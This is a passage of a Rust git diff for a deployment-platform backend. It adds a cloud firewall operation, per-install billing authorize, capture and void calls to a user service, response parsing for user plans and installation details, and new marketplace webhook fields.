+            .ok_or_else(|| format!("Unsupported cloud provider: {}", message.target.provider))?;
+
+        Ok(ConfigureCloudFirewallResponse {
+            operation_id: message.operation_id,
+            accepted: true,
+            protocol_version: message.protocol_version,
+            provider: cloud_firewall::normalize_provider(&message.target.provider)
+                .unwrap_or(message.target.provider.as_str())
+                .to_string(),
+            server_id: message.target.server_id,
+            action: message.action,
+            rules: message.rules,
+            routing_key,
+            message: "Cloud firewall operation accepted".to_string(),
+            firewall_name: None,
+            firewall: None,
+        })
+    }
 }
diff --git a/src/connectors/install_service/mod.rs b/src/connectors/install_service/mod.rs
index 8cc78d1f..3979f11e 100644
--- a/src/connectors/install_service/mod.rs
+++ b/src/connectors/install_service/mod.rs
@@ -3,16 +3,17 @@
 //! Provides abstractions for delegating deployments to the external install service.
 
 use crate::forms::project::{RegistryForm, Stack};
+use crate::forms::{CloudFirewallOperationMessage, ConfigureCloudFirewallResponse};
 use crate::helpers::MqManager;
 use crate::models;
 use async_trait::async_trait;
 
 pub mod client;
-#[cfg(test)]
+pub mod init;
 pub mod mock;
 
 pub use client::InstallServiceClient;
-#[cfg(test)]
+pub use init::init;
 pub use mock::MockInstallServiceConnector;
 
 #[async_trait]
@@ -35,4 +36,10 @@ pub trait InstallServiceConnector: Send + Sync {
         server_public_key: Option<String>,
         server_private_key: Option<String>,
     ) -> Result<i32, String>;
+
+    async fn configure_cloud_firewall(
+        &self,
+        message: CloudFirewallOperationMessage,
+        mq_manager: &MqManager,
+    ) -> Result<ConfigureCloudFirewallResponse, String>;
 }
diff --git a/src/connectors/mod.rs b/src/connectors/mod.rs
index 07dc472d..78117932 100644
--- a/src/connectors/mod.rs
+++ b/src/connectors/mod.rs
@@ -39,17 +39,24 @@
 //! ```
 
 pub mod admin_service;
+pub mod app_service_catalog;
 pub mod config;
 pub mod dockerhub_service;
 pub mod errors;
+pub mod hetzner;
 pub mod install_service;
 pub mod user_service;
 
 pub use admin_service::{
     extract_bearer_token, parse_jwt_claims, user_from_jwt_claims, validate_jwt_expiration,
 };
-pub use config::{ConnectorConfig, EventsConfig, PaymentServiceConfig, UserServiceConfig};
+pub use config::{
+    ConnectorConfig, EventsConfig, InstallServiceConfig, PaymentServiceConfig, UserServiceConfig,
+};
 pub use errors::ConnectorError;
+pub use hetzner::{
+    HetznerCloudClient, HetznerCloudConnector, HetznerSnapshot, HetznerSnapshotTarget,
+};
 pub use install_service::{InstallServiceClient, InstallServiceConnector};
 pub use user_service::{
     CategoryInfo, DeploymentValidationError, DeploymentValidator, MarketplaceWebhookPayload,
@@ -59,8 +66,12 @@ pub use user_service::{
 };
 
 // Re-export init functions for convenient access
+pub use app_service_catalog::{
+    fetch_catalog as fetch_app_service_catalog, resolve_server_capacity, ServerCapacity,
+};
 pub use dockerhub_service::init as init_dockerhub;
 pub use dockerhub_service::{
     DockerHubClient, DockerHubConnector, NamespaceSummary, RepositorySummary, TagSummary,
 };
+pub use install_service::init as init_install_service;
 pub use user_service::init as init_user_service;
diff --git a/src/connectors/user_service/app.rs b/src/connectors/user_service/app.rs
index ae83ed51..d4971d5e 100644
--- a/src/connectors/user_service/app.rs
+++ b/src/connectors/user_service/app.rs
@@ -27,6 +27,36 @@ pub struct Application {
     /// Default config file templates from app_var (with attachment_path)
     #[serde(default)]
     pub default_config_files: Option<serde_json::Value>,
+    /// Member services for a multi-service stack catalog entry (kind == "stack").
+    /// Present only when the catalog code resolves to a stack rather than a
+    /// single app; each entry carries its own real container image.
+    #[serde(default)]
+    pub services: Option<Vec<CatalogService>>,
+}
+
+/// A single member service of a stack catalog entry (from /applications/catalog
+/// for a stack code). Its `docker_image` is the member app's real container
+/// image, never the stack's cloud OS image.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct CatalogService {
+    #[serde(rename = "_id", default)]
+    pub id: Option<i64>,
+    #[serde(default)]
+    pub code: Option<String>,
+    #[serde(default)]
+    pub name: Option<String>,
+    #[serde(default)]
+    pub role: Option<String>,
+    #[serde(rename = "type", default)]
+    pub service_type: Option<String>,
+    #[serde(default)]
+    pub docker_image: Option<String>,
+    #[serde(default)]
+    pub default_ports: Option<serde_json::Value>,
+    #[serde(default)]
+    pub default_env: Option<serde_json::Value>,
+    #[serde(default)]
+    pub default_config_files: Option<serde_json::Value>,
 }
 
 impl UserServiceClient {
@@ -137,7 +167,9 @@ impl UserServiceClient {
             let body = response.text().await.unwrap_or_default();
             tracing::warn!(
                 "Catalog endpoint error ({}) for code={}: {}, falling back to search_applications",
-                status, code, body
+                status,
+                code,
+                body
             );
             return self.fallback_search_by_code(bearer_token, code).await;
         }
@@ -214,5 +246,6 @@ fn application_from_catalog(item: serde_json::Value) -> Option<Application> {
         default_env: None,
         default_ports: None,
         default_config_files: None,
+        services: None,
     })
 }
diff --git a/src/connectors/user_service/client.rs b/src/connectors/user_service/client.rs
index df6d55bd..f394fe27 100644
--- a/src/connectors/user_service/client.rs
+++ b/src/connectors/user_service/client.rs
@@ -7,10 +7,25 @@ use uuid::Uuid;
 
 use super::connector::UserServiceConnector;
 use super::types::{
-    CategoryInfo, PlanDefinition, ProductInfo, StackResponse, UserPlanInfo, UserProfile,
+    AuthorizationHandle, BillingCapability, CategoryInfo, PlanDefinition, ProductInfo,
+    StackResponse, UserPlanInfo, UserProfile,
 };
 use super::utils::is_plan_higher_tier;
 
+/// Parse the `/oauth_server/api/me` response body.
+/// The endpoint returns `{"user": {...}}`
+/// at the top level — both shapes are accepted for forward/backward compatibility.
+pub(super) fn parse_user_profile_response(text: &str) -> Result<UserProfile, serde_json::Error> {
+    #[derive(Deserialize)]
+    struct Wrapper {
+        user: UserProfile,
+    }
+    if let Ok(wrapper) = serde_json::from_str::<Wrapper>(text) {
+        return Ok(wrapper.user);
+    }
+    serde_json::from_str::<UserProfile>(text)
+}
+
 /// HTTP-based User Service client
 pub struct UserServiceClient {
     pub(crate) base_url: String,
@@ -25,6 +40,7 @@ impl UserServiceClient {
         let timeout = std::time::Duration::from_secs(config.timeout_secs);
         let http_client = reqwest::Client::builder()
             .timeout(timeout)
+            .pool_max_idle_per_host(0)
             .build()
             .expect("Failed to create HTTP client");
 
@@ -241,17 +257,6 @@ impl UserServiceConnector for UserServiceClient {
             req = req.header("Authorization", auth);
         }
 
-        #[derive(serde::Deserialize)]
-        struct UserMeResponse {
-            #[serde(default)]
-            plan: Option<PlanInfo>,
-        }
-
-        #[derive(serde::Deserialize)]
-        struct PlanInfo {
-            name: Option<String>,
-        }
-
         let resp = req.send().instrument(span.clone()).await.map_err(|e| {
             tracing::error!("user_has_plan error: {:?}", e);
             ConnectorError::HttpError(format!("Failed to check plan: {}", e))
@@ -263,12 +268,16 @@ impl UserServiceConnector for UserServiceClient {
                     .text()
                     .await
                     .map_err(|e| ConnectorError::HttpError(e.to_string()))?;
-                serde_json::from_str::<UserMeResponse>(&text)
-                    .map(|response| {
-                        let user_plan = response.plan.and_then(|p| p.name).unwrap_or_default();
-                        is_plan_higher_tier(&user_plan, required_plan_name)
-                    })
-                    .map_err(|_| ConnectorError::InvalidResponse(text))
+
+                let user_plan = parse_plan_from_me_response(&text).unwrap_or_default();
+                let result = is_plan_higher_tier(&user_plan, required_plan_name);
+                tracing::info!(
+                    "user_has_plan: extracted plan_name={:?}, required={}, result={}",
+                    user_plan,
+                    required_plan_name,
+                    result
+                );
+                Ok(result)
             }
             401 | 403 => {
                 tracing::debug!(parent: &span, "User not authenticated or authorized");
@@ -298,13 +307,19 @@ impl UserServiceConnector for UserServiceClient {
 
         #[derive(serde::Deserialize)]
         struct PlanInfoResponse {
+            #[serde(default)]
+            user: Option<UserPlanPayload>,
+        }
+
+        #[derive(serde::Deserialize, Default)]
+        struct UserPlanPayload {
+            #[serde(alias = "_id")]
+            user_id: Option<String>,
             #[serde(default)]
             plan: Option<String>,
             #[serde(default)]
             plan_name: Option<String>,
             #[serde(default)]
-            user_id: Option<String>,
-            #[serde(default)]
             description: Option<String>,
             #[serde(default)]
             active: Option<bool>,
@@ -325,14 +340,17 @@ impl UserServiceConnector for UserServiceClient {
             .await
             .map_err(|e| ConnectorError::HttpError(e.to_string()))?;
         serde_json::from_str::<PlanInfoResponse>(&text)
-            .map(|info| UserPlanInfo {
-                user_id: info.user_id.unwrap_or_else(|| user_id.to_string()),
-                plan_name: info.plan.or(info.plan_name).unwrap_or_default(),
-                plan_description: info.description,
-                tier: None,
-                active: info.active.unwrap_or(true),
-                started_at: None,
-                expires_at: None,
+            .map(|info| {
+                let user = info.user.unwrap_or_default();
+                UserPlanInfo {
+                    user_id: user.user_id.unwrap_or_else(|| user_id.to_string()),
+                    plan_name: user.plan.or(user.plan_name).unwrap_or_default(),
+                    plan_description: user.description,
+                    tier: None,
+                    active: user.active.unwrap_or(true),
+                    started_at: None,
+                    expires_at: None,
+                }
             })
             .map_err(|_| ConnectorError::InvalidResponse(text))
     }
@@ -403,7 +421,7 @@ impl UserServiceConnector for UserServiceClient {
             .text()
             .await
             .map_err(|e| ConnectorError::HttpError(e.to_string()))?;
-        serde_json::from_str::<UserProfile>(&text).map_err(|e| {
+        parse_user_profile_response(&text).map_err(|e| {
             tracing::error!("Failed to parse user profile: {:?}", e);
             ConnectorError::InvalidResponse(text)
         })
@@ -597,4 +615,181 @@ impl UserServiceConnector for UserServiceClient {
             }
         }
     }
+
+    async fn search_marketplace_templates(
+        &self,
+        user_token: &str,
+        query: Option<&str>,
+        category: Option<&str>,
+        is_marketplace: Option<bool>,
+        page: Option<u32>,
+        max_results: Option<u32>,
+    ) -> Result<Vec<serde_json::Value>, ConnectorError> {
+        UserServiceClient::search_marketplace_templates(
+            self,
+            user_token,
+            query,
+            category,
+            is_marketplace,
+            page,
+            max_results,
+        )
+        .await
+    }
+
+    async fn get_catalog_application(
+        &self,
+        user_token: &str,
+        code: &str,
+    ) -> Result<Option<serde_json::Value>, ConnectorError> {
+        let app = UserServiceClient::fetch_app_catalog(self, user_token, code).await?;
+        app.map(|app| serde_json::to_value(app))
+            .transpose()
+            .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))
+    }
+
+    async fn can_charge(&self, user_token: &str) -> Result<BillingCapability, ConnectorError> {
+        let url = format!("{}/api/1.0/marketplace/billing/can-charge", self.base_url);
+        let resp = self
+            .http_client
+            .get(&url)
+            .header("Authorization", format!("Bearer {}", user_token))
+            .send()
+            .await?;
+        let status = resp.status();
+        let text = resp.text().await.map_err(ConnectorError::from)?;
+        if !status.is_success() {
+            return Err(map_billing_error_status(status.as_u16(), &text));
+        }
+        serde_json::from_str::<BillingCapability>(&text)
+            .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))
+    }
+
+    async fn authorize_install_charge(
+        &self,
+        user_token: &str,
+        template_id: &Uuid,
+        amount_minor: i64,
+        currency: &str,
+        idempotency_key: &str,
+    ) -> Result<AuthorizationHandle, ConnectorError> {
+        let url = format!("{}/api/1.0/marketplace/billing/authorize", self.base_url);
+        let payload = serde_json::json!({
+            "template_id": template_id.to_string(),
+            "amount_minor": amount_minor,
+            "currency": currency,
+            "idempotency_key": idempotency_key,
+        });
+        let resp = self
+            .http_client
+            .post(&url)
+            .header("Authorization", format!("Bearer {}", user_token))
+            .header("Idempotency-Key", idempotency_key)
+            .json(&payload)
+            .send()
+            .await?;
+        let status = resp.status();
+        let text = resp.text().await.map_err(ConnectorError::from)?;
+        if !status.is_success() {
+            return Err(map_billing_error_status(status.as_u16(), &text));
+        }
+        serde_json::from_str::<AuthorizationHandle>(&text)
+            .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))
+    }
+
+    async fn capture_install_charge(
+        &self,
+        auth_token: &str,
+        authorization_id: &str,
+        deployment_hash: &str,
+    ) -> Result<AuthorizationHandle, ConnectorError> {
+        let url = format!("{}/api/1.0/marketplace/billing/capture", self.base_url);
+        let payload = serde_json::json!({
+            "authorization_id": authorization_id,
+            "deployment_hash": deployment_hash,
+        });
+        let resp = self
+            .http_client
+            .post(&url)
+            .header("Authorization", format!("Bearer {}", auth_token))
+            .json(&payload)
+            .send()
+            .await?;
+        let status = resp.status();
+        let text = resp.text().await.map_err(ConnectorError::from)?;
+        if !status.is_success() {
+            return Err(map_billing_error_status(status.as_u16(), &text));
+        }
+        serde_json::from_str::<AuthorizationHandle>(&text)
+            .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))
+    }
+
+    async fn void_install_charge(
+        &self,
+        auth_token: &str,
+        authorization_id: &str,
+        reason: &str,
+    ) -> Result<(), ConnectorError> {
+        let url = format!("{}/api/1.0/marketplace/billing/void", self.base_url);
+        let payload = serde_json::json!({
+            "authorization_id": authorization_id,
+            "reason": reason,
+        });
+        let resp = self
+            .http_client
+            .post(&url)
+            .header("Authorization", format!("Bearer {}", auth_token))
+            .json(&payload)
+            .send()
+            .await?;
+        let status = resp.status();
+        if status.is_success() {
+            return Ok(());
+        }
+        let text = resp.text().await.unwrap_or_default();
+        Err(map_billing_error_status(status.as_u16(), &text))
+    }
+}
+
+/// Map a non-2xx billing response to the appropriate ConnectorError.
+/// Split out so all four billing methods share the same error semantics.
+fn map_billing_error_status(status: u16, body: &str) -> ConnectorError {
+    let body = body.to_string();
+    match status {
+        402 => ConnectorError::PaymentRequired(body),
+        409 => ConnectorError::Conflict(body),
+        401 | 403 => ConnectorError::Unauthorized(body),
+        404 => ConnectorError::NotFound(body),
+        429 => ConnectorError::RateLimited(body),
+        500..=599 => ConnectorError::ServiceUnavailable(body),
+        _ => ConnectorError::HttpError(format!("billing http {}: {}", status, body)),
+    }
+}
+
+/// Parse the `/oauth_server/api/me` response text and extract the user's plan name.
+/// Accepts both `{"user": {"plan": {"name": "..."}}}` (service-account token)
+/// and `{"plan": {"name": "..."}}` (user token) response shapes.
+fn parse_plan_from_me_response(text: &str) -> Option<String> {
+    #[derive(serde::Deserialize)]
+    struct PlanInfo {
+        name: Option<String>,
+    }
+    #[derive(serde::Deserialize)]
+    struct UserInfo {
+        #[serde(default)]
+        plan: Option<PlanInfo>,
+    }
+    #[derive(serde::Deserialize)]
+    struct Wrapper {
+        user: UserInfo,
+    }
+
+    if let Ok(wrapper) = serde_json::from_str::<Wrapper>(text) {
+        return wrapper.user.plan.and_then(|p| p.name);
+    }
+
+    serde_json::from_str::<UserInfo>(text)
+        .ok()
+        .and_then(|u| u.plan)
+        .and_then(|p| p.name)
 }
diff --git a/src/connectors/user_service/connector.rs b/src/connectors/user_service/connector.rs
index e614ef97..f66a1629 100644
--- a/src/connectors/user_service/connector.rs
+++ b/src/connectors/user_service/connector.rs
@@ -1,7 +1,8 @@
 use uuid::Uuid;
 
 use super::types::{
-    CategoryInfo, PlanDefinition, ProductInfo, StackResponse, UserPlanInfo, UserProfile,
+    AuthorizationHandle, BillingCapability, CategoryInfo, PlanDefinition, ProductInfo,
+    StackResponse, UserPlanInfo, UserProfile,
 };
 use crate::connectors::errors::ConnectorError;
 
@@ -68,4 +69,74 @@ pub trait UserServiceConnector: Send + Sync {
     /// Get list of categories from User Service
     /// Calls GET /api/1.0/category and returns available categories
     async fn get_categories(&self) -> Result<Vec<CategoryInfo>, ConnectorError>;
+
+    /// Search the unified applications catalog used by try.direct/applications.
+    async fn search_marketplace_templates(
+        &self,
+        user_token: &str,
+        query: Option<&str>,
+        category: Option<&str>,
+        is_marketplace: Option<bool>,
+        page: Option<u32>,
+        max_results: Option<u32>,
+    ) -> Result<Vec<serde_json::Value>, ConnectorError>;
+
+    /// Fetch a single catalog application by code, enriched with its docker
+    /// image and default env/ports from the app catalog. Unlike the search
+    /// endpoint, this carries the fields needed to synthesize a compose.
+    /// Returns `None` when the catalog has no such application.
+    async fn get_catalog_application(
+        &self,
+        user_token: &str,
+        code: &str,
+    ) -> Result<Option<serde_json::Value>, ConnectorError>;
+
+    // ── Per-install billing (two-phase charge) ─────────────────────
+    //
+    // The four methods below implement the authorize/capture/void
+    // dance used when a template's billing_cycle is "per_install".
+    // user_service is authoritative on payment intents and idempotency;
+    // stacker holds only the opaque `authorization_id` and a local
+    // `marketplace_install_authorization` row for reconciliation.
+
+    /// Cheap capability probe used inside the access gate before
+    /// deciding whether to attempt an authorize. Returns
+    /// `can_charge=false` with a reason when the user has no payment
+    /// method on file, an expired card, etc.
+    async fn can_charge(&self, user_token: &str) -> Result<BillingCapability, ConnectorError>;
+
+    /// Reserve funds for a single install. Must be idempotent on
+    /// `idempotency_key` — replay with the same key returns the same
+    /// handle. Returns `PaymentRequired` on decline, `Conflict` on
+    /// idempotency-body mismatch.
+    async fn authorize_install_charge(
+        &self,
+        user_token: &str,
+        template_id: &Uuid,
+        amount_minor: i64,
+        currency: &str,
+        idempotency_key: &str,
+    ) -> Result<AuthorizationHandle, ConnectorError>;
+
+    /// Settle a previously-authorized charge after the install
+    /// completes successfully. `auth_token` may be a user token or a
+    /// service token depending on caller — deploy-complete uses the
+    /// service token. Attaches `deployment_hash` for user_service-side
+    /// audit.
+    async fn capture_install_charge(
+        &self,
+        auth_token: &str,
+        authorization_id: &str,
+        deployment_hash: &str,
+    ) -> Result<AuthorizationHandle, ConnectorError>;
+
+    /// Release a previously-authorized charge. Called on install
+    /// failure or by the TTL sweeper. `auth_token` semantics identical
+    /// to `capture_install_charge`.
+    async fn void_install_charge(
+        &self,
+        auth_token: &str,
+        authorization_id: &str,
+        reason: &str,
+    ) -> Result<(), ConnectorError>;
 }
diff --git a/src/connectors/user_service/install.rs b/src/connectors/user_service/install.rs
index 588ba80b..423e431d 100644
--- a/src/connectors/user_service/install.rs
+++ b/src/connectors/user_service/install.rs
@@ -1,4 +1,5 @@
 use serde::{Deserialize, Serialize};
+use urlencoding::encode;
 
 use crate::connectors::errors::ConnectorError;
 
@@ -20,7 +21,7 @@ pub struct Installation {
 }
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct InstallationDetails {
-    #[serde(rename = "_id")]
+    #[serde(rename = "_id", alias = "id")]
     pub id: Option<i64>,
     pub stack_code: Option<String>,
     pub status: Option<String>,
@@ -49,6 +50,62 @@ struct InstallationsResponse {
     _items: Vec<Installation>,
 }
 
+fn parse_installation_details_payload(
+    mut payload: serde_json::Value,
+) -> Result<InstallationDetails, ConnectorError> {
+    if let Some(wrapper) = payload.as_object_mut() {
+        if let Some(mut installation) = wrapper.remove("installation") {
+            if let Some(agent_config) = wrapper.remove("agent_config") {
+                if let Some(installation_obj) = installation.as_object_mut() {
+                    installation_obj.insert("agent_config".to_string(), agent_config);
+                }
+            }
+            payload = installation;
+        }
+    }
+
+    if let Some(installation_obj) = payload.as_object_mut() {
+        if !installation_obj.contains_key("_id") {
+            if let Some(id) = installation_obj.remove("id") {
+                installation_obj.insert("_id".to_string(), id);
+            }
+        }
+        if !installation_obj.contains_key("_created") {
+            if let Some(created_at) = installation_obj.get("date_created").cloned() {
+                installation_obj.insert("_created".to_string(), created_at);
+            }
+        }
+
+        if let Some(request_dump) = installation_obj
+            .get("request_dump")
+            .and_then(|value| value.as_object())
+            .cloned()
+        {
+            let field_mappings = [
+                ("stack_code", "stack_code"),
+                ("provider", "cloud"),
+                ("cloud", "cloud"),
+                ("commonDomain", "domain"),
+                ("domain", "domain"),
+                ("server_ip", "server_ip"),
+                ("deployment_hash", "deployment_hash"),
+            ];
+
+            for (source, target) in field_mappings {
+                if installation_obj.contains_key(target) {
+                    continue;
+                }
+                if let Some(value) = request_dump.get(source).cloned() {
+                    installation_obj.insert(target.to_string(), value);
+                }
+            }
+        }
+    }
+
+    serde_json::from_value::<InstallationDetails>(payload)
+        .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))
+}
+
 impl UserServiceClient {
     /// List user's installations (deployments)
     pub async fn list_installations(
@@ -89,7 +146,58 @@ impl UserServiceClient {
         bearer_token: &str,
         installation_id: i64,
     ) -> Result<InstallationDetails, ConnectorError> {
-        let url = format!("{}/api/1.0/installations/{}", self.base_url, installation_id);
+        let url = format!(
+            "{}/api/1.0/installations/{}",
+            self.base_url, installation_id
+        );
+
+        let mut response = self
+            .http_client
+            .get(&url)
+            .header("Authorization", format!("Bearer {}", bearer_token))
+            .send()
+            .await
+            .map_err(ConnectorError::from)?;
+
+        if response.status().as_u16() == 404 {
+            let fallback_url = format!("{}/install/{}", self.base_url, installation_id);
+            response = self
+                .http_client
+                .get(&fallback_url)
+                .header("Authorization", format!("Bearer {}", bearer_token))
+                .send()
+                .await
+                .map_err(ConnectorError::from)?;
+        }
+
+        if !response.status().is_success() {
+            let status = response.status().as_u16();
+            let body = response.text().await.unwrap_or_default();
+            return Err(ConnectorError::HttpError(format!(
+                "User Service error ({}): {}",
+                status, body
+            )));
+        }
+
+        let payload = response
+            .json::<serde_json::Value>()
+            .await
+            .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))?;
+
+        parse_installation_details_payload(payload)
+    }
+
+    /// Get installation details by deployment hash via the lightweight Flask route.
+    pub async fn get_installation_by_hash(
+        &self,
+        bearer_token: &str,
+        deployment_hash: &str,
+    ) -> Result<InstallationDetails, ConnectorError> {
+        let url = format!(
+            "{}/install/by-deployment-hash/{}",
+            self.base_url,
+            encode(deployment_hash)
+        );
 
         let response = self
             .http_client
diff --git a/src/connectors/user_service/marketplace_search.rs b/src/connectors/user_service/marketplace_search.rs
index 545f5ac4..512aedda 100644
--- a/src/connectors/user_service/marketplace_search.rs
+++ b/src/connectors/user_service/marketplace_search.rs
@@ -22,6 +22,18 @@ impl UserServiceClient {
         if let Some(max_results) = max_results {
             query_parts.push(format!("max_results={}", max_results));
         }
+        if let Some(query) = query.map(str::trim).filter(|query| !query.is_empty()) {
+            query_parts.push(format!("q={}", urlencoding::encode(query)));
+        }
+        if let Some(category) = category
+            .map(str::trim)
+            .filter(|category| !category.is_empty())
+        {
+            query_parts.push(format!("category={}", urlencoding::encode(category)));
+        }
+        if let Some(is_marketplace) = is_marketplace {
+            query_parts.push(format!("is_from_marketplace={}", is_marketplace));
+        }
 
         if !query_parts.is_empty() {
             url.push('?');
diff --git a/src/connectors/user_service/marketplace_webhook.rs b/src/connectors/user_service/marketplace_webhook.rs
index 4e3ae5bf..5d9ed5a7 100644
--- a/src/connectors/user_service/marketplace_webhook.rs
+++ b/src/connectors/user_service/marketplace_webhook.rs
@@ -16,9 +16,9 @@ use crate::connectors::ConnectorError;
 use crate::models;
 
 /// Marketplace webhook payload sent to User Service
-#[derive(Debug, Clone, Serialize, Deserialize)]
+#[derive(Debug, Clone, Serialize, Deserialize, Default)]
 pub struct MarketplaceWebhookPayload {
-    /// Action type: "template_approved", "template_updated", or "template_rejected"
+    /// Action type for the marketplace sync webhook.
     pub action: String,
 
     /// Stacker template UUID (as string)
@@ -69,6 +69,10 @@ pub struct MarketplaceWebhookPayload {
     #[serde(skip_serializing_if = "Option::is_none")]
     pub tech_stack: Option<serde_json::Value>,
 
+    /// Infrastructure compatibility metadata for deployment validation.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub infrastructure_requirements: Option<serde_json::Value>,
+
     /// Creator display name
     #[serde(skip_serializing_if = "Option::is_none")]
     pub creator_name: Option<String>,
@@ -88,6 +92,50 @@ pub struct MarketplaceWebhookPayload {
     /// Minimum plan required to deploy
     #[serde(skip_serializing_if = "Option::is_none")]
     pub required_plan_name: Option<String>,
+
+    /// Reviewer feedback for update-required notifications.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub review_reason: Option<String>,
+
+    /// Suggested next step for the creator.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub next_action_hint: Option<String>,
+
+    /// Creator email when available.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub vendor_email: Option<String>,
+
+    /// Full stack/compose definition from the latest template version. This is
+    /// the field the User Service caches so `/applications` can serve a
+    /// deployable definition (install-service Flow 4). Present on
+    /// approved/published actions; `None` for metadata-only actions.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub stack_definition: Option<serde_json::Value>,
+
+    /// How to interpret `stack_definition` — `"yaml"` (compose string) or a
+    /// legacy/JSON object form (`None`).
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub definition_format: Option<String>,
+
+    /// Extra config files shipped with the template version (name + content),
+    /// when the version defines any.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub config_files: Option<serde_json::Value>,
+
+    /// Version string of the federated definition.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub version: Option<String>,
+}
+
+/// Returns the JSON value only when it carries content — filters out `null`,
+/// `[]`, and `{}` so empty `config_files` don't bloat the webhook.
+fn non_empty_json(value: &serde_json::Value) -> Option<serde_json::Value> {
+    match value {
+        serde_json::Value::Null => None,
+        serde_json::Value::Array(a) if a.is_empty() => None,
+        serde_json::Value::Object(o) if o.is_empty() => None,
+        other => Some(other.clone()),
+    }
 }
 
 /// Response from User Service webhook endpoint
@@ -172,6 +220,7 @@ impl MarketplaceWebhookSender {
         template: &models::marketplace::StackTemplate,
         vendor_id: &str,
         category_code: Option<String>,
+        latest_version: Option<&models::marketplace::StackTemplateVersion>,
     ) -> Result<WebhookResponse, ConnectorError> {
         let span = tracing::info_span!(
             "send_template_approved_webhook",
@@ -181,6 +230,76 @@ impl MarketplaceWebhookSender {
 
         let payload = MarketplaceWebhookPayload {
             action: "template_approved".to_string(),
+            stack_definition: latest_version.map(|v| v.stack_definition.clone()),
+            definition_format: latest_version.and_then(|v| v.definition_format.clone()),
+            config_files: latest_version.and_then(|v| non_empty_json(&v.config_files)),
+            version: latest_version.map(|v| v.version.clone()),
+            stack_template_id: template.id.to_string(),
+            external_id: template.id.to_string(),
+            code: Some(template.slug.clone()),
+            name: Some(template.name.clone()),
+            description: template
+                .short_description
+                .clone()
+                .or_else(|| template.long_description.clone()),
+            price: template.price,
+            billing_cycle: template.billing_cycle.clone(),
+            currency: template.currency.clone(),
+            vendor_user_id: Some(vendor_id.to_string()),
+            vendor_name: template.creator_name.clone(),
+            category: category_code,
+            tags: if let serde_json::Value::Array(_) = template.tags {
+                Some(template.tags.clone())
+            } else {
+                None
+            },
+            long_description: template.long_description.clone(),
+            tech_stack: if template.tech_stack != serde_json::json!({}) {
+                Some(template.tech_stack.clone())
+            } else {
+                None
+            },
+            infrastructure_requirements: if template.infrastructure_requirements
+                != serde_json::json!({})
+            {
+                Some(template.infrastructure_requirements.clone())
+            } else {
+                None
+            },
+            creator_name: template.creator_name.clone(),
+            deploy_count: template.deploy_count,
+            view_count: template.view_count,
+            approved_at: template.approved_at.map(|dt| dt.to_rfc3339()),
+            required_plan_name: template.required_plan_name.clone(),
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
+        };
+
+        self.send_webhook(&payload).instrument(span).await
+    }
+
+    /// Send template published webhook to User Service.
+    /// Creates/updates the product and triggers the creator approval notification.
+    pub async fn send_template_published(
+        &self,
+        template: &models::marketplace::StackTemplate,
+        vendor_id: &str,
+        category_code: Option<String>,
+        latest_version: Option<&models::marketplace::StackTemplateVersion>,
+    ) -> Result<WebhookResponse, ConnectorError> {
+        let span = tracing::info_span!(
+            "send_template_published_webhook",
+            template_id = %template.id,
+            vendor_id = vendor_id
+        );
+
+        let payload = MarketplaceWebhookPayload {
+            action: "template_published".to_string(),
+            stack_definition: latest_version.map(|v| v.stack_definition.clone()),
+            definition_format: latest_version.and_then(|v| v.definition_format.clone()),
+            config_files: latest_version.and_then(|v| non_empty_json(&v.config_files)),
+            version: latest_version.map(|v| v.version.clone()),
             stack_template_id: template.id.to_string(),
             external_id: template.id.to_string(),
             code: Some(template.slug.clone()),
@@ -206,11 +325,21 @@ impl MarketplaceWebhookSender {
             } else {
                 None
             },
+            infrastructure_requirements: if template.infrastructure_requirements
+                != serde_json::json!({})
+            {
+                Some(template.infrastructure_requirements.clone())
+            } else {
+                None
+            },
             creator_name: template.creator_name.clone(),
             deploy_count: template.deploy_count,
             view_count: template.view_count,
             approved_at: template.approved_at.map(|dt| dt.to_rfc3339()),
             required_plan_name: template.required_plan_name.clone(),
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
         };
 
         self.send_webhook(&payload).instrument(span).await
@@ -231,6 +360,75 @@ impl MarketplaceWebhookSender {
 
         let payload = MarketplaceWebhookPayload {
             action: "template_updated".to_string(),
+            stack_definition: None,
+            definition_format: None,
+            config_files: None,
+            version: None,
+            stack_template_id: template.id.to_string(),
+            external_id: template.id.to_string(),
+            code: Some(template.slug.clone()),
+            name: Some(template.name.clone()),
+            description: template
+                .short_description
+                .clone()
+                .or_else(|| template.long_description.clone()),
+            price: template.price,
+            billing_cycle: template.billing_cycle.clone(),
+            currency: template.currency.clone(),
+            vendor_user_id: Some(vendor_id.to_string()),
+            vendor_name: template.creator_name.clone(),
+            category: category_code,
+            tags: if let serde_json::Value::Array(_) = template.tags {
+                Some(template.tags.clone())
+            } else {
+                None
+            },
+            long_description: template.long_description.clone(),
+            tech_stack: if template.tech_stack != serde_json::json!({}) {
+                Some(template.tech_stack.clone())
+            } else {
+                None
+            },
+            infrastructure_requirements: if template.infrastructure_requirements
+                != serde_json::json!({})
+            {
+                Some(template.infrastructure_requirements.clone())
+            } else {
+                None
+            },
+            creator_name: template.creator_name.clone(),
+            deploy_count: template.deploy_count,
+            view_count: template.view_count,
+            approved_at: template.approved_at.map(|dt| dt.to_rfc3339()),
+            required_plan_name: template.required_plan_name.clone(),
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
+        };
+
+        self.send_webhook(&payload).instrument(span).await
+    }
+
+    /// Send template submitted webhook to User Service.
+    /// Notifies the creator that their stack entered marketplace review.
+    pub async fn send_template_submitted(
+        &self,
+        template: &models::marketplace::StackTemplate,
+        vendor_id: &str,
+        category_code: Option<String>,
+    ) -> Result<WebhookResponse, ConnectorError> {
+        let span = tracing::info_span!(
+            "send_template_submitted_webhook",
+            template_id = %template.id,
